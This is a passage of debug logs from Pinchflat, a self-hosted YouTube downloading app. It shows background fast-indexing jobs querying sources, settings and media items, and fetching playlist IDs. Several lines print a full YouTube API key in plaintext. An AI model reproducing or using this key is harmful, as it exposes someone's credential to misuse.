(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:55:01.797 [debug] QUERY OK source="tasks" db=0.1ms idle=329.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268340, 34, ~U[2026-10-09 21:55:01Z], ~U[2026-10-09 21:55:01Z]] 16:55:01.797 [info] {"args":{"id":34},"id":5268299,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":331168,"event":"job:stop","queue_time":470066,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:02.467 [info] {"args":{"id":33},"id":5268300,"meta":{},"system_time":1791582902467248540,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:02.467 [debug] QUERY OK source="sources" db=0.1ms idle=669.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:55:02.467 [debug] QUERY OK source="settings" db=0.1ms idle=669.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:02.467 [debug] QUERY OK source="media_profiles" db=0.0ms idle=663.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:02.467 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:02.468 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:55:02.468 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:02.468 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:02.838 [debug] QUERY OK source="media_items" db=0.6ms idle=370.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 16:55:02.839 [debug] QUERY OK source="media_items" db=0.5ms idle=371.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:55:02.840 [debug] QUERY OK source="tasks" db=0.1ms idle=372.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268341, 33, ~U[2026-10-09 21:55:02Z], ~U[2026-10-09 21:55:02Z]] 16:55:02.840 [info] {"args":{"id":33},"id":5268300,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":373319,"event":"job:stop","queue_time":617336,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:03.468 [info] {"args":{"id":39},"id":5268301,"meta":{},"system_time":1791582903468139905,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:03.468 [info] {"args":{"id":46},"id":5268302,"meta":{},"system_time":1791582903468183707,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:03.468 [debug] QUERY OK source="sources" db=0.1ms idle=627.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:55:03.468 [debug] QUERY OK source="sources" db=0.2ms idle=627.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 16:55:03.468 [debug] QUERY OK source="settings" db=0.1ms idle=621.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:03.468 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:03.468 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:03.469 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:03.469 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:55:03.469 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:03.469 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:03.469 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:03.469 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:03.469 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 16:55:03.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:03.469 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:03.695 [debug] QUERY OK source="media_items" db=0.5ms idle=226.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 16:55:03.696 [debug] QUERY OK source="media_items" db=0.3ms idle=227.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:55:03.697 [debug] QUERY OK source="tasks" db=0.1ms idle=227.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268342, 39, ~U[2026-10-09 21:55:03Z], ~U[2026-10-09 21:55:03Z]] 16:55:03.697 [info] {"args":{"id":39},"id":5268301,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":229578,"event":"job:stop","queue_time":475701,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:03.793 [debug] QUERY OK source="media_items" db=0.3ms idle=95.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 16:55:03.793 [debug] QUERY OK source="media_items" db=0.2ms idle=96.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 16:55:03.794 [debug] QUERY OK source="tasks" db=0.1ms idle=90.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268343, 46, ~U[2026-10-09 21:55:03Z], ~U[2026-10-09 21:55:03Z]] 16:55:03.794 [info] {"args":{"id":46},"id":5268302,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":326445,"event":"job:stop","queue_time":404236,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:04.469 [info] {"args":{"id":47},"id":5268303,"meta":{},"system_time":1791582904469234460,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:04.469 [debug] QUERY OK source="sources" db=0.1ms idle=674.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 16:55:04.469 [debug] QUERY OK source="settings" db=0.1ms idle=674.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:04.469 [debug] QUERY OK source="media_profiles" db=0.0ms idle=668.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:04.470 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:04.470 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 16:55:04.470 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:04.470 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:04.620 [debug] QUERY OK source="media_items" db=0.5ms idle=149.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 16:55:04.621 [debug] QUERY OK source="media_items" db=0.3ms idle=150.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 16:55:04.621 [debug] QUERY OK source="tasks" db=0.1ms idle=151.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268344, 47, ~U[2026-10-09 21:55:04Z], ~U[2026-10-09 21:55:04Z]] 16:55:04.621 [info] {"args":{"id":47},"id":5268303,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":152506,"event":"job:stop","queue_time":633787,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:05.470 [info] 